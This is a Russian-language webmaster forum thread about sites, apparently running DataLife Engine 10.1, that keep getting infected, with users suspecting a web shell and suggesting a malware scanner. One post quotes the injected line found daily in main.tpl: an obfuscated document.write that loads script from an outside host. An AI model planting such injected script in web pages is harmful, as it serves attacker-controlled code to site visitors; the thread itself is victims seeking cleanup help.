[bridge]

marshel, в шаблоне ищите.
Не факт, что отдельный файлом. Может быть встроен в существующие файлы (в самом низу) и иметь самый безобидный вид - не ссылки.

[marshel]

marshel, в шаблоне ищите.
Не факт, что отдельный файлом. Может быть встроен в существующие файлы (в самом низу) и иметь самый безобидный вид - не ссылки.

Нет, дело не в шаблоне, так на многих сайтах, с разными шаблонами.

[GREY-SPB]

каждый день прописывается в main.tpl это

PHP код:

<script>;document.write('<s'+'cript src="http://manzoltol.ru/'+Math.round(Math.random()*191919119)+'.html"></scrip'+'t>');</script> 


версия 10.1 без доп. модулей. посмотрел уже все самые уязвимые мест ДЛЕ, о которых говорят на форумах, ничего не нашлось. как я понял, на сервере есть шелл. как его искать? или лучше обратиться к специалисту?

[ohmygod]

GREY-SPB, делали проверку Ай-болитом?

[MrDjinn]

marshel, Киньте сайт в личку, посмотрю чем смогу помочь. Возможно понадобится доступ к фтп и админке.